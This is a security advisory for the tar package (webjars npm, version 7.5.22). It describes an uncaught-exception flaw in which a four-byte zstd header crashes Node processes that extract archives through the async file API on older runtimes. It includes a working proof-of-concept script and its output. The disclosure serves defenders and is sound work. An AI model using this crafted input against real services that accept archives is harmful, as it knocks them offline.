Uncaught Exception Affecting org.webjars.npm:tar package, versions [7.5.22,]


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.84% (60th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-23314547
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • creditMohsin Mukhtiar Lashari

Introduced: 2 Dec 2026

NewCVE-2026-140241  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

org.webjars.npm:tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Uncaught Exception via Parser.write() in src/parse.ts, which sniffs the first bytes of every input and, on detecting the zstd magic bytes (28 b5 2f fd), constructs new ZstdDecompress({}) with no error handling. On Node runtimes without native zstd support, minizlib's constructor throws a TypeError synchronously inside the file-read stream's data callback. Because the throw is not routed through the stream's error event or Parser.abort(), the async tar.t() / tar.x() promise never settles and the exception escapes as an uncaught exception, killing the process. An attacker can crash any process that lists or extracts an attacker-supplied archive through the async file API by supplying a four-byte file containing only the zstd magic header.

Note: This is only exploitable on Node runtimes without native zstd support (Node 18.x, 20.x, 21.x, 22.0-22.14, and 23.0-23.7); Node 22.15+, 23.8+, and 24+ are not affected.

PoC

Validated on the published npm package tar@7.5.22 (and source main @ 2a22bfc). Vulnerable runtime: Node v20.20.2 (node -e "console.log(typeof require('zlib').ZstdDecompress)" prints undefined). Non-vulnerable control: Node v24.19.0.

// npm i tar@7.5.22 ; node poc.cjs   (run on Node 20)
const { x } = require('tar'); const fs = require('fs')
fs.writeFileSync('/tmp/z4.tar', Buffer.from([0x28,0xb5,0x2f,0xfd,0x01,0x02,0x03,0x04]))
fs.rmSync('/tmp/z-out',{recursive:true,force:true}); fs.mkdirSync('/tmp/z-out')
let uncaught = null, settled = 'NEVER'
process.on('uncaughtException', e => uncaught = e.constructor.name + ': ' + e.message)
x({ cwd:'/tmp/z-out', file:'/tmp/z4.tar' }).then(()=>settled='RESOLVED').catch(()=>settled='REJECTED')
const ka = setInterval(()=>{},100)
setTimeout(()=>{ clearInterval(ka); console.log('uncaught:', uncaught); console.log('settled:', settled); process.exit(0) }, 3000)

Observed on Node v20.20.2 (zstd undefined):

uncaught: TypeError: Compression method not supported: ZstdDecompress
settled:  NEVER

Without the uncaughtException handler the process dies with the raw stack (frame: at new ZstdDecompress ... at Unpack.write ... at FSReqCallback.wrapper [as oncomplete] (node:fs)). On Node v24.19.0 the same file produces a clean catchable rejection (TAR_ABORT / zlib: Dictionary mismatch) and no crash. Synchronous mode and direct stream writes throw catchably from the caller's stack on all runtimes; only the async file API turns the throw into process death.

Note: Validated on the published npm package tar@7.5.22 running on Node v20.20.2, with Node v24.19.0 as the non-vulnerable control.

CVSS Base Scores

version 4.0
version 3.1